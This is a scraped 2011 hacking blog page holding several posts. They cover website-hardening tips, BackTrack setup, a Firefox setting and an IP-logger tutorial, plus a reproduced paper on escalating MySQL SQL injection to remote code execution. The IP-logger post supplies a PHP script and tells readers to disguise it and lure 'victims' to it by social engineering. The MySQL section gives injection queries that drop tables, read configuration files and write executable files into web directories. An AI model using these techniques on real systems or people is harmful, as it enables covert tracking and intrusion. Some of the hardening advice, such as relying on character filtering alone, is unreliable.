Securing the Web

9/25/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAgpxGTak2XLAfaHcG2B8cFfd2LQhguWRnOiFpIlFr9OeFD22tlABEmPA80wC8YN0mHVBIzHvLqlVvO9KfEvABGGsgKaADKMV81gjuD-o_QWvnyWmPMwRGncNYcJ6dbzU9_oJeBbcATeTc/s1600/secure-web.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAgpxGTak2XLAfaHcG2B8cFfd2LQhguWRnOiFpIlFr9OeFD22tlABEmPA80wC8YN0mHVBIzHvLqlVvO9KfEvABGGsgKaADKMV81gjuD-o_QWvnyWmPMwRGncNYcJ6dbzU9_oJeBbcATeTc/s400/secure-web.jpg" width="400" /></a></div><br />
<h3>Introduction:</h3><br />
All most every website on the internet has a risk of getting Hacked .The growing generation of new Hackers are able to exploit almost every digital device from mobile to a calculator! , so websites are easy for them to Hack and compromise. Every year people pay thousands and thousands of rupees just to protect their<br />
<br />
 websites from not getting hacked. Cyber security is a major concern now a days for everyone from a business man to a government employee or even the common man. Imagine a situation in which you are a business man who has a database of information about your clients and your site has been hacked. What will you do? All your clients will be angry with you because of their privacy disclosure and your business will go down.<br />
<br />
But if you will protect your website then this situation will never come in your life.<br />
<h3>Protecting your website:</h3><br />
<h3>Old version of web server:</h3>One of the most common mistakes that people make is that they just use old versions of web server. This is actually a very big vulnerability as any attacker can easily exploit the loophole in that web server and get inside your server.<br />
<br />
<h3>Invalid or expired SSL certification:</h3>If a website has a login page then a valid SSL certification should be installed into the server not an invalid SSL certification. The SSL server encrypts the traffic.For example this is an example of an expired or an invalid SSL certification:<br />
<br />
The SSL certificate (<div class="system pop">serial: 00f716cc219f44c663 </div>) is expired.<br />
<br />
The cerificate valability period is: <div class="system pop">Thu Jan 22 19:52:15 UTC+0530 2009 to Fri Jan 22 19:52:15 UTC+0530 2010 </div>In this situation the attacker can easily install a sniffer and start sniffing all the data that is being passed to the server.<br />
<br />
<h3>Server Vulnerable to XSS:</h3>XSS or cross site scripting is the process in which the attacker hacks the website by injecting some javascript into the website. www.In.com vulnerable to XSS XSS is a very common method and even FBI and CIA are vulnerable to it.<br />
<br />
This attack can be easily prevented easily by filtering all the special characters (#, <,” ,/,…etc) from being inputted into the search field and also filtering them into the commenting fields.<br />
<br />
<h3>Server Vulnerable to SQL injection:</h3><br />
SQL injection is also as common as XSS but the only thing is that here the attacker tries to input SQL commands into the server and get into the database or log into the admin page without proper username and password.<br />
<br />
This attack can also be prevented by filtering all the special characters from being inputted into any input field.<br />
<br />
<h3>Default Password and usernames:</h3>Some administrators are so dumb that they forget to remove default passwords from the script of the login page, this means that anyone can login into the admin panel of the site with the username as “root” or “admin” and password as “root” or “admin” too. This vulnerability can be patched up by removing this feature from the script.<br />
<br />
<h3>Unrestricted applications:</h3>Here in this vulnerability the site has a editor which can be used to upload files to the server for example the url can be <div class="system pop">www.site.com/backhend_of_site/fck/editor/fckeditor.html </div>This will show up the following:<br />
<br />
And here I can upload anything without the admin privileges. To protect you self from these kind of attacks always use validated softwares.<br />
<br />
<h3>Admin page access:</h3><br />
Some people just don’t change the admin page location, for example people have admin page at www.site.com/admin. This is a vulnerability because if we have got access to admin page then we can try out SQL injections on the admin page. So always change the admin page to something like: <div class="system pop">www.site.com/abc</div><br />
<h3>Robots.txt:</h3>Robots.txt file tells us about what features the site has allowed and disallowed so one can get a list of possible directories in a server like:<br />
<div class="content shadow-radial">User-agent: *<br />
  Disallow: /search<br />
  Disallow: /groups<br />
  Disallow: /images<br />
  Disallow: /catalogs<br />
  Disallow: /catalogues<br />
  Disallow: /news</div>We can prevent this by adding less directories to the robots.txt file and password protecting all the directories which come inside this file.<br />
<br />
<h3>Test.php:</h3>This file contains all the configuration of the php server running on the server so one should block it.For example the URL can be: http://site.com/test.php. We can protect from this kind of attacks by removing this file.<br />
<br />
<h3>Conclusion:</h3><br />
We have come to the end of this article. These were the some of the methods.<br />
<br />
<span style="color: red;">Further Reading:</span> <br />
<a href="https://www.owasp.org/index.php/OWASP_Guide_Project">https://www.owasp.org/index.php/OWASP_Guide_Project</a><br />
<a href="http://www.securecomputing.com/SecureIFV/index.cfm?tabs=w,m,f,s,sf,sg">http://www.securecomputing.com/SecureIFV/index.cfm?tabs=w,m,f,s,sf,sg</a><br />
<br />
Regards,<br />
<br />
Hardeep Singh<br />
(<a href="http://www.facebook.com/h4rdeep">www.facebook.com/h4rdeep</a>)<br />
</div>

Introduction: All most every website on the internet has a risk of getting Hacked .The growing generation of new Hackers are able to explo...

Log Victim's IP

9/15/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPsDlATYYfFc2ovTVM96Y1Cpyhitu8FOG9ENtl1IMUuZPY78aqGmeE0ZN5BLNCFdReuzo2ke4XLwQkfDWzpyXUV5h0ZziqZAg5a17k4KB0wkpvoNzSuVMXasuYjBX_OOp93uq8zx2kmotD/s1600/ip+logger.gif" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPsDlATYYfFc2ovTVM96Y1Cpyhitu8FOG9ENtl1IMUuZPY78aqGmeE0ZN5BLNCFdReuzo2ke4XLwQkfDWzpyXUV5h0ZziqZAg5a17k4KB0wkpvoNzSuVMXasuYjBX_OOp93uq8zx2kmotD/s400/ip+logger.gif" width="367" /></a></div><br />
I know you most of the time search on Google, Yahoo, etc, for tutorial on tracking your victim's IP. Yes, you can find many positive response, and there are also many ways by which you can log IP, but all those methods are a little bit tough as compared to my one, I have found a fresh technique by which you can log your victim's IP easily. This method is far most the best way of logging IP which I used myself many times.<br />
<br />
<br />
<h3>What we will need?</h3>This method doesn't require any heavy program or any other means. It will require:<br />
<br />
<br />
A Free and powerful hosting. I will recommend to use My3gb, or else your wish.<br />
A Php script to log IP which I have provided below.<br />
Some brain and a little bit HTML knowledge<br />
<br />
<h3>How to Setup your IP logger?</h3>After fulfilling all the required things, we will have to setup our IP logger so that it can log IPs. Create your account at any free hosting site,I use My3gb by myself, or you can also use any other hosting as per your choice. Open notepad and paste this script:<br />
<br />
<div class="program glow"><pre><code class="prettyprint">
<html>
<?php
$file = "log.txt";
$f=fopen($file, 'a');
fwrite($f,$_SERVER['REMOTE_ADDR']."\n\n"); 
fclose($f);
?>
//You can customize this part to make your page look attractive
</body>
</html>
</code></pre></div>Save this as Logger.php. Then you will have to create a text file with name <div class="system pop">log.txt </div>. After creating both these files, upload it to your website.<br />
<br />
<br />
<h3>How to log IPs?</h3>After uploading these files you will get a link, copy the link of your "Logger.php" file and send it to your victim by any means, but before doing this, test it for minimum two times on yourself. Now you can get the IP of your victim as soon as he open that link and the IPs will be logged in your "log.txt".<br />
<br />
Customize the Logger.php file<br />
This is very important step because as soon as your victim's visit your IP logging page then if he will find nothing or some suspicious thing then he will came to know that there is something wrong. For securing yourself from this suspicion you will have to customize your file, its easy if you have a little bit knowledge of HTML. Using HTML, you can simply made a small beautiful page for your victim. You can learn HTML from w3schools<br />
<br />
<br />
Now you will need some brains as I told above to send that Logger.php link to your victim, this can only be done by you, I cannot help you in this much, you can use Social Engineering or any other method like that.<br />
<br />
Regards,<br />
Hardeep Singh<br />
(<a href="mailto:h4rdeep@facebook.com">h4rdeep@facebook.com</a>)<br />
(<a href="http://www.fb.com/h4rdeep">www.fb.com/h4rdeep</a>)</div>

Hacking Hacking Tools Hacking Tutorials Scripts Tutorials Log Victim's IP

I know you most of the time search on Google, Yahoo, etc, for tutorial on tracking your victim's IP. Yes, you can find many positive re...

BackTrack - Basic Usage

9/15/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBgoI8Vqq2A1nLFk97rZhbb4REMZNqb_mwGq-YxNva2dRBs2F-0R2fkqT6dUD6vX_NVWjk3Jp8gUXW4NvW_NYJ7LvghsuYRmU2W2fp_MiOk5djZFEfobxbILk6a5_X_XgW05Vgq9PNsmAI/s1600/backtrack.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBgoI8Vqq2A1nLFk97rZhbb4REMZNqb_mwGq-YxNva2dRBs2F-0R2fkqT6dUD6vX_NVWjk3Jp8gUXW4NvW_NYJ7LvghsuYRmU2W2fp_MiOk5djZFEfobxbILk6a5_X_XgW05Vgq9PNsmAI/s400/backtrack.jpeg" width="400" /></a></div><h3>Login to BackTrack</h3><br />
Once the BackTrack is Installed, the default username and password required to log in are root / toor.<br />
NOTE: You will not be able to see the password as you type it.<br />
<br />
<h3>GUI</h3><ul><li>After login give startx command.</li>
<li>Getting Networking to work</li>
<li>Setting your IP manually</li></ul><br />
We will first set up the networking manually. In the following example we will assume the following addresses and their purpose:<br />
<div class="content shadow-radial">IP Address - 192.168.1.112/24<br />
  Default Gateway - 192.168.1.1<br />
  DNS server - 192.168.1.1</div><br /><br />
In order to set these up we will run the following commands:<br />
<div class="command wobble-horizontal">root@bt:~# ifconfig eth0 192.168.1.112/24<br />
  root@bt:~# route add default gw 192.168.1.1<br />
  root@bt:~# echo nameserver 192.168.1.1 > /etc/resolv.conf</div><br />
Getting a static IP to stick between reboots<br />
<br />
These settings however will only last until you reboot, so if we want to save them between reboots we need to edit the /etc/network/interfaces file like this:<br />
<div class="content shadow-radial"># This file describes the network interfaces available on your system<br />
  # and how to activate them. For more information, see interfaces(5).<br />
  # The loopback network interface<br />
  auto lo<br />
  iface lo inet loopback<br />
  # The primary network interface<br />
  auto eth0<br />
  iface eth0 inet static<br />
  address 192.168.1.112<br />
  netmask 255.255.255.0<br />
  network 192.168.1.0<br />
  broadcast 192.168.1.255<br />
  gateway 192.168.1.1</div><br />
Edit the file as appropriate, then have the network come up automatically at boot time:<br />
<br />
<div class="command wobble-horizontal">root@bt:~# update-rc.d networking defaults<br />
  root@bt:~# /etc/init.d/networking restart</div><br />
<h3>Getting an IP from DHCP</h3>In order to get an IP from a DHCP server we can issue the dhclient <interface> command as follows:<br />
<div class="command wobble-horizontal">root@bt:~# dhclient eth0<br />
  Internet Systems Consortium DHCP Client V3.1.1<br />
  Copyright 2004-2008 Internet Systems Consortium.<br />
  All rights reserved.<br />
  For info, please visit <a href="http://www.isc.org/sw/dhcp/">http://www.isc.org/sw/dhcp/</a> Listening on LPF/eth0/00:0c:29:81:74:21<br />
  Sending on LPF/eth0/00:0c:29:81:74:21<br />
  Sending on Socket/fallback<br />
  DHCPREQUEST of 192.168.1.112 on eth0 to 255.255.255.255 port 67<br />
  DHCPACK of 192.168.1.112 from 192.168.1.1<br />
  bound to 192.168.1.112 -- renewal in 37595 seconds.<br />
  root@bt:~#</div> Using the script to start networking<br />
There is a script to start networking in the /etc/init.d directory which attempts to start every interface listen in /etc/network/interfaces (you can remove the ones you don’t need). To start it issue the following command:<br />
<div class="command wobble-horizontal">root@bt:~# /etc/init.d/networking start</div><br />
<h3>WICD Network Manager</h3>Another way to set up your networking is using the WICD Network Manager, you can find it in the menu:<br />
Menu > Internet > Wicd Network Manager<br />
<br />
<h3>Changing the root password</h3>As you know Backtrack comes with a default username and password (root/toor) it is IMPORTANT that we change that root password especially when running services such as SSH. We can change the password by issuing the passwd command:<br />
<br />
<div class="command wobble-horizontal">root@bt:~# passwd Enter new UNIX password: {enter your new password here } Retype new UNIX password: {enter your new password again} passwd: password updated successfully <br />
  root@bt:~#</div><br />
<h3>Starting services</h3>BackTrack has various services such as Apache, SSH, MySQL, VNC, etc. They are all disabled by default. To start a service such as SSH, you can use the service init scripts. For example, to start the SSH service:<br />
<br />
<div class="command wobble-horizontal">root@bt:~# sshd-generate # Specific to the SSH service - needed to generate SSH keys<br />
  root@bt:~# /etc/init.d/ssh start<br />
  Starting OpenBSD Secure Shell server: sshd.<br />
  root@bt:~# /etc/init.d/ssh stop<br />
  Stopping OpenBSD Secure Shell server: sshd.<br />
  root@bt:~# </div><br /><br />
When using a ssh server for the first time on Backtrack you will need to generate keys:<br /><br />
<div class="command wobble-horizontal">root@bt:~# sshd-generate</div>To enable a service at boot time, you can use the update-rc.d command, for example, having SSH start at boot time:<br />
<div class="command wobble-horizontal">root@bt:~# update-rc.d -f ssh defaults<br />
  Adding system startup for /etc/init.d/ssh ...<br />
  /etc/rc0.d/K20ssh -> ../init.d/ssh<br />
  /etc/rc1.d/K20ssh -> ../init.d/ssh<br />
  /etc/rc6.d/K20ssh -> ../init.d/ssh<br />
  /etc/rc2.d/S20ssh -> ../init.d/ssh<br />
  /etc/rc3.d/S20ssh -> ../init.d/ssh<br />
  /etc/rc4.d/S20ssh -> ../init.d/ssh<br />
  /etc/rc5.d/S20ssh -> ../init.d/ssh<br />
  root@bt:~#</div><br />
<h3>Common apt commands</h3>apt-get install <package> Downloads <package> and all of its dependencies, and installs or upgrades them.<br />
apt-get remove [--purge] <package> Removes <package> and any packages that depend on it. --purge specifies that packages should be purged.<br />
apt-get update Updates packages listings from the repo, should be run at least once a week.<br />
apt-get upgrade Upgrades all currently installed packages with those updates available from the repo. should be run once a week.<br />
apt-get dist-upgrade [-u] Similar to apt-get upgrade, except that dist-upgrade will install or remove packages to satisfy dependencies.<br />
apt-cache search <pattern> Searches packages and descriptions for <pattern>.<br />
apt-cache show <package> Shows the full description of <package>.<br />
apt-cache showpkg <package> Shows a lot more detail about <package>, and its relationships to other packages.<br />
man apt Will give you more info on these commands as well as many that are in less common usage.<br />
<br />
<h3>Common dpkg commands</h3>dpkg -i <package.deb> Installs a package file; one that you downloaded manually, for example.<br />
dpkg -c <package.deb> Lists the contents of <package.deb> a .deb file.<br />
dpkg -I <package.deb> Extracts package information from <package.deb> a .deb file.<br />
dpkg -r <package> Removes an installed package named <package><br />
dpkg -P <package> Purges an installed package named <package>. The difference between remove and purge is that while remove only deletes data and executables, purge also deletes all configuration files in addition.<br />
dpkg -L <package> Gives a listing of all the files installed by <package>. See also dpkg -c for checking the contents of a .deb file.<br />
dpkg -s <package> Shows information on the installed package <package>. See also apt-cache show for viewing package information in the Debian archive and dpkg -I for viewing package information extracted from a .deb file.<br />
dpkg-reconfigure <package> Reconfigures an installed package<br />
man dpkg Will give you more info on these commands as well as many that are in less common usage.<br />
<br />
<h3>How do I find more information on a particular command or programs usage ?</h3>Most commands will have what is called a man page (manual page) which can be viewed by typing:<br />
<div class="command wobble-horizontal">root@bt:~# man <command you want more info on></div><br /><br />
Another very good resource on linux command usage can be found at <span class="system pop">linuxcommand.org </span>Some programs do not have a man page, but you can usually get more information on it's usage by typing: Just the program name without any arguements.<br />
or<br />
<div class="command wobble-horizontal">root@bt:~# <program name> -help </div><b>or </b> <div class="command wobble-horizontal">root@bt:~# <program name> --help</div><b> or </b><div class="command wobble-horizontal">root@bt:~# <program name> -h</div><br/><br />
Some programs use other methods, but they are usually just a variation of one of the above five commands.<br />
<br />
Regards,<br />
Hardeep Singh<br />
(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)<br />
</div>

Backtrack Hacking Tutorials Linux Linux Tutorials OS Tutorials BackTrack - Basic Usage

Login to BackTrack Once the BackTrack is Installed, the default username and password required to log in are root / toor. NOTE: You will n...

Make old Firefox Addons Compatible

9/10/2011 rahlabs 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCkoSjgRSApvupKMaqOyBIN3pQG9eXoHahQPv8BHu2l2aF0Ho8puSk9lZPT4nngGI6zXL-QlatX_Ni4zZsCHN1zrDNRYuvBru_dxbbNdDSSab_G9CBRHSwcy3g3W9ZDut3iUgHWJAO29HS/s1600/firefox-add-ons.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="233" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgCkoSjgRSApvupKMaqOyBIN3pQG9eXoHahQPv8BHu2l2aF0Ho8puSk9lZPT4nngGI6zXL-QlatX_Ni4zZsCHN1zrDNRYuvBru_dxbbNdDSSab_G9CBRHSwcy3g3W9ZDut3iUgHWJAO29HS/s400/firefox-add-ons.jpg" width="400" /></a></div><br />
First Type <div class="command wobble-horizontal">about:config </div><br /><br />
On Address Bar and Press Enter<br />
Then it will ask with some damn Things.., Just Click "I'll be careful , I promise "<br />
Don't Do any thing with out this Tut..,<br />
i will not responsible if u Sucked it okay.. LOL<br />
After that Right Click ----> New ----> Boolean<br />
<br />
in there Type <br />
<div class="command wobble-horizontal">extensions.checkCompatibility.5.0 </div><br /><br />
As Picture Give Value as False and Ok.<br />
<br />
Thats all !!!.....<br />
<br />
Regards:<br />
<br />
Hardeep Singh<br />
( <a href="http://www.fb.com/h4rdeep">www.fb.com/h4rdeep</a> )</div>

Addons Firefox Linux Tutorials Tutorials Make old Firefox Addons Compatible

First Type about:config On Address Bar and Press Enter Then it will ask with some damn Things.., Just Click "I'll be careful , I...

Advanced MySQL Exploitation

8/30/2011 rahlabs 0

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<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_9alg5xdw56RFcJShPskwW7oPSTRHCougEqWGuHGuQWRUmJiBkdJkBLO9s-YcF2NBv7BgiospLZJg-js17g4smMd8_2uVBzvp3gwGbET0D7oEp3JCLc0H6rIrIGg7COM5iYIz2OWfGNuQ/s1600/mysql+compromised.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img alt="Advance Mysql Exploitation" border="0" height="343" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_9alg5xdw56RFcJShPskwW7oPSTRHCougEqWGuHGuQWRUmJiBkdJkBLO9s-YcF2NBv7BgiospLZJg-js17g4smMd8_2uVBzvp3gwGbET0D7oEp3JCLc0H6rIrIGg7COM5iYIz2OWfGNuQ/s400/mysql+compromised.jpg" title="Advance Mysql Exploitation" width="400" /></a></div>
<br />
Advanced Mysql Exploitation<br />
<br />
1Abstract...................................................................3<br />
2 Introduction .............................................................3<br />
3 Stacked Query.............................................................3<br />
4 Attacking MySQL on applications that do support stacked queries...........4<br />
5 Attacking MySQL on applications that do not support stacked queries.......5<br />
6 Fingerprinting the web server directory...................................7<br />
6.1 Fingerprint through error message method................................7<br />
6.2 Fingerprint by LOAD_FILE method....................................7<br />
7 Maximum size of arbitrary code allowed....................................7<br />
8 Arbitrary file compression/decompression .................................8<br />
9 Dealing with columns......................................................8<br />
10 Remote code execution on LAMP............................................9<br />
11 Remote code execution on WAMP............................................10<br />
References .................................................................11<br />
<h3>
1 Abstract</h3>
This document discusses in detail how SQL Injection vulnerabilities can be used to conduct remote code execution on the LAMP (Linux, Apache, MySQL, and PHP) or WAMP (Windows, Apache, MySQL and PHP) environments. Attackers performing SQL injection on a MySQL platform must deal with several limitations and constraints. For example, the lack of multiple statements in one query makes MySQL an unpopular platform for remote code execution, compared to other platforms. A lot of research has been performed in the last few years, concentrating on arbitrary code execution by attacking SQL Injection vulnerabilities. However, these types of attacks concentrate on the DBMS connectors that support stacked queries. This document will explain how different methods can be used to achieve the same result on a DBMS connector that does<br />
not support stacked queries.<br />
<h3>
2 Introduction</h3>
SQL injection is an attack where malicious code is injected into the SQL statement. SQL Injection attack allows a malicious user to retrieve the structure of the database and uncover information regarding the application’s operating environment. It has been proven that arbitrary code execution is the highest risk level a malicious user can achieve when conducting SQL injection attack. MySQL is a popular database server and acts as the database component of the LAMP (Linux, Apache, MySQL and PHP) and WAMP (Windows, Apache, MySQL and PHP) software stacks. DBMS connectors for this technology do not support stacked queries by default. This makes the same technique used to conduct remote code execution on platforms that support stacked queries, cannot be applied on this platform.<br />
<br />
<h3>
3 Stacked Query</h3>
Stacked query is a term to define if a database connection layer can execute more than one query at a time. Each query is separated by semicolon. The following example is an example of stacked queries in an SQL Injection attack:<br />
SELECT name FROM record WHERE id = 1; DROP table record; DROP table address--<br />
<br />
In the example above, there are three separate queries requested at one time. The first query is the actual query from the application. These queries are allowed when called within the database server. However, when this stacked query is called within the MySQL PHP application by default, an error message will be replayed back by the application and none of the queries will be executed.<br />
<h3>
4 Attacking MySQL on applications that do support stacked queries</h3>
It has been discovered that the MySQL UDF (User Define Function) library [4] creation technique, can be used to conduct remote code execution on applications which support stacked queries. This has been clearly explained by David Litchfield in The Database Hacker’s Handbook [5].<br />
At Blackhat Europe 2009, Bernando Damele explained the similar technique in detail. The steps below are taken from Bernando Damele’s whitepaper [6].<br />
1) Create a support table with one field, data-type longblob.<br />
2) Encode the local file content to its corresponding hexadecimal string.<br />
3) Split the hexadecimal encoded string into chunks long 1024 characters each<br />
4) INSERT [7] the first chunk into the support table's field.<br />
5) UPDATE [8] the support table's field by appending to the entry the chunks from the<br />
second to the last.<br />
<br />
<br />
6) Export the hexadecimal encoded file content from the support table's entry to the destination file path by using SELECT's INTO DUMPFILE [9] clause. This is possible because on MySQL, a query like SELECT 0x41 returns the corresponding ASCII character A. Here are some requirements to perform this action:<br />
1) DBMS connector must support stacked queries.<br />
2) Session user is required to have FILE [10], INSERT, CREATE [11] and UPDATE privileges.<br />
3) On some MySQL versions below 5.1.19, shared library [12] path must be writable by a session user. Prior knowledge of this directory is also required.<br />
4) On some MySQL versions 5.1.19 and above, system variable plugin_dir [13] must exist and be writable by a session user. Prior knowledge of this directory is also required.<br />
It has been known that there are some limitations to this technique. By default, MySQL Linux runs as a mysql user and the shared library path is not writable by this user.<br />
<br />
However, this behavior is not applied to MySQL on Windows. MySQL on Windows runsas a Local System user and by default, file created by this user can be overwritten onto any folder. For the recent versions of MySQL, the directory belonging to system variable plugin_dir does not exist. This directory is required to be created first and writable by a session user.<br />
<br />
<br />
<h3>
5 Attacking MySQL on applications that do not support stacked queries</h3>
Due to the unsupported stacked queries on MySQL-PHP platform, execution of another statement after the actual statement is not possible. However, execution of another SELECT statement is possible using UNION syntax [14]. UNION syntax is used to combine the result from multiple SELECT statements into a single result set. The statement below taken from MySQL 5.1 Refence Manual:<br />
SELECT<br />
[ALL | DISTINCT | DISTINCTROW ]<br />
[HIGH_PRIORITY]<br />
[STRAIGHT_JOIN]<br />
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]<br />
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]<br />
select_expr [, select_expr ...]<br />
[FROM table_references<br />
[WHERE where_condition]<br />
[GROUP BY {col_name | expr | position}<br />
[ASC | DESC], ... [WITH ROLLUP]]<br />
[HAVING where_condition]<br />
[ORDER BY {col_name | expr | position}<br />
[ASC | DESC], ...]<br />
[LIMIT {[offset,] row_count | row_count OFFSET offset}]<br />
[PROCEDURE procedure_name(argument_list)]6<br />
[INTO OUTFILE 'file_name' export_options<br />
| INTO DUMPFILE 'file_name'<br />
| INTO var_name [, var_name]]<br />
[FOR UPDATE | LOCK IN SHARE MODE]]<br />
<br />
It was discovered that only SELECT INTO DUMPFILE can be used to write arbitrary binary files onto the database server using UNION SELECT. When injecting this statement, only one statement can be used to create the whole file. Also, this file cannot be overwritten by calling another SELECT INTO DUMPFILE statement to write into the same file.<br />
The statement below taken from MySQL 5.1 Reference Manual:<br />
Only the last SELECT statement can use INTO OUTFILE/DUMPFILE. (However, the entire UNION result is written to the file.)<br />
Due to the nature of the UNION statement, results retrieved from the first query will be the first set of data to write into our arbitrary file.<br />
For example:<br />
SELECT content FROM data WHERE id=21 UNION SELECT 0x8A789C....... INTO DUMPFILE ‘file’<br />
If the first query returns any data, this data will overwrite the file header. To prevent this, we can inject any non existing value in the WHERE clause so no data would be extracted from the first query. This is to ensure that only our chosen data is written into the file. The file is also required to be located in a directory where we can execute it. In the case of a DBMS connector that does not support stacked queries, the best directory to upload this file onto an Apache web server directory. However, this is only possible in an environment where the MySQL database and Apache web server are on the same machine. By uploading onto the Apache web server directory, a PHP script can be used to execute the file using the SYSTEM function [15]. Here are some requirements to perform this action:<br />
1) Prior knowledge of the Apache web server directory.<br />
2) Session user is required to have FILE privilege.<br />
3) Session user is required to have access to write onto the web server directory.7<br />
<h3>
6 Fingerprinting the web server directory</h3>
In some cases where the web server root directory is not located in the default folder during the installation process, fingerprinting can be used to achieve this information. There are two methods that can be used to fingerprint the web server directory. It can be fingerprinted by forcing the application to return an error message or by loading the default<br />
location of the Apache configuration file.<br />
<br />
<br />
<h3>
6.1 Fingerprint through error message method</h3>
By default, custom error message is turned off by PHP. There are many ways to force the application to return an error message that contains internal information including the web server directory. For example, this error message can be generated by injecting a single quote as part of the SQL data. Here is an example of the error message returned by the<br />
PHP application when a single quote is injected, as part of the SQL data.<br />
Fatal error: Call to a member function execute() on a non-object in /var/www/output.php on line 15<br />
<br />
<h3>
6.2 Fingerprint through LOAD_FILE method</h3>
LOAD_FILE [16] can be used to read a file on the database server. To use this function, FILE privilege is required by the session user. The file must also be readable by all and its size must be less than max_allowed_packet bytes value in the Apache configuration file. A default apache configuration file meets this requirement. The DocumentRoot directive [17] in this file contains the path of the Apache web server root directory and can be used to disclose this information. Here is an example of the query to load an Apache configuration file on Apache version 2.2, in a default installation of Ubuntu Linux.<br />
SELECT LOAD_FILE('/etc/apache2/sites-available/default')<br />
7 Maximum size of arbitrary code allowed<br />
The LimitRequestLine directive [17] in the Apache configuration file allows the web server to reduce the size of an HTTP request . This includes all information passed in the query as part of the GET request. The default value for this directive is 8190 bytes. If the SQL Injection is discovered on the GET request and our query including the arbitrary code 8<br />
is larger than this value, Apache web server would response with the HTTP Status Code 414 and the request would not be processed. By default, the Apache web server sets the LimitRequestBody directive to 2GB [17]. This is the allowed size of an HTTP request message body. If the SQL Injection is discovered in a POST request, 2GB will give us enough room to upload our arbitrary code. Web application firewalls also have the ability to terminate a long request. This long request is normally detected as a buffer overflow attack.<br />
<br />
<h3>
8 Arbitrary file compression/decompression</h3>
PHP contains a module called Zlib [18] that can be used to read and write gzip compressed files. This module can be abused to compress the arbitrary file into a smaller file using the gzcompress function [19]. The Zlib module is able to compress our file from 9635 bytes to only 630 bytes. When the compressed file is successfully uploaded on the web server, gzuncompress function [20] can be used to decompress the file. However, this is only possible in an environment where the MySQL database and Apache web server are on the same machine.<br />
<br />
<h3>
9 Dealing with columns</h3>
A UNION clause will combine the result from multiple SELECT statements into a single result set. The two queries must have the same number of columns. Due to this reason, some unnecessary data will be added to our data which could potentially corrupt our file.<br />
For example:<br />
SELECT name, add, content FROM data WHERE id=21 UNION SELECT NULL,NULL, 0x8A789C....... INTO DUMPFILE ‘file’<br />
The result from the first query will be added into our compressed file. As mentioned in the section 5, we can inject any nonexisting value into the WHERE clause so there would be no data extracted from the first query. However, due to the extra columns required in this statement, any bad character data added into the first two columns also could potentially corrupt our file. To prevent our file header from being overwritten by any bad character data, we can add our data in the first column and inject any random data into the other columns as seen in the following example.<br />
9<br />
SELECT name, add, content FROM data WHERE id=4444 UNION SELECT 0x8A789C.........,0x00,0x00 INTO DUMPFILE ‘file’<br />
The first column in the example above is filled with our compressed arbitrary data. When Zlib library is used, the Adler32 checksum [21] will be found at the end of the compressed data in the first column . As mentioned in the RFC 1950 [22] , any data which may appear after the Adler32 checksum is not part of the Zlib stream. We can abuse this functionality by injecting any value into the other columns. This may help the compressed arbitrary file to be decompressed without having any issues.<br />
Another method is to ensure that all the arbitrary data is filled in sequence into all columns in the second query. It would not be an issue if one of the columns contains more data than the other columns as seen in the following example.<br />
SELECT name, add, content FROM data WHERE id=4444 UNION SELECT 0x8A, 0x78,0x9CED......9EEC....... INTO DUMPFILE ‘file’<br />
<br />
<h3>
10 Remote code execution on LAMP</h3>
Remote code execution on LAMP contains several limitations and constraints. By default, MySQL runs as a mysql user. Arbitrary files created through SELECT INTO DUMPFILE can only be uploaded onto the directory where the MySQL user is allowed to write onto. By default, the uploaded file is not executable but readable. This file also is owned by a mysql user. A PHP script can be used to read the file and write the same file content to a new file.<br />
This new file created is owned by the www-data user and the same PHP script can be used to change the permission of this file to be executable using the PHP SYSTEM function. To perform this action, this file needs to be uploaded onto the web server directory that is writable by MySQL and www-data users. By default, any directory created by other users are not writable by these users. In some cases, these directories are set to be writable. An example of this can be found in an application where a user is allowed to upload content onto the web server directories, through the file upload feature.<br />
If the writable directories can be discovered on the web server and the file is successfully uploaded, PHP script can be used to execute the malicious file using the PHP SYSTEM function.<br />
<h3>
11 Remote code execution on WAMP</h3>
Remote code execution on WAMP contains fewer limitations and constraints in order to function. By default, MySQL runs as a Local System user and files created through SELECT INTO DUMPFILE can be uploaded onto any of the web server directories. By<br />
default, this file is executable. Just like on the LAMP platform, PHP script can be used to execute the malicious file using the PHP SYSTEM function.</div>

Hacking Hacking Tutorials SQL Injection Tutorials Advanced MySQL Exploitation

Advanced Mysql Exploitation 1Abstract...................................................................3 2 Introduction ...............

Netcat Explained

7/30/2011 rahlabs 0

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<span class="Apple-style-span" style="background-color: #fafafa; color: #333333; font-family: "verdana" , "arial" , "tahoma" , "calibri" , "geneva" , sans-serif; font-size: 13px;"><span style="font-size: medium;"><u>NETCAT AND CRYPTCAT</u></span></span><br />
<br />
<div id="post_message_14830" style="margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">
<br />
This tutorial is a combination of different sources. I can not take credit for all the information I just compiled it and added my touch to it.<br />
<br />
<h3>
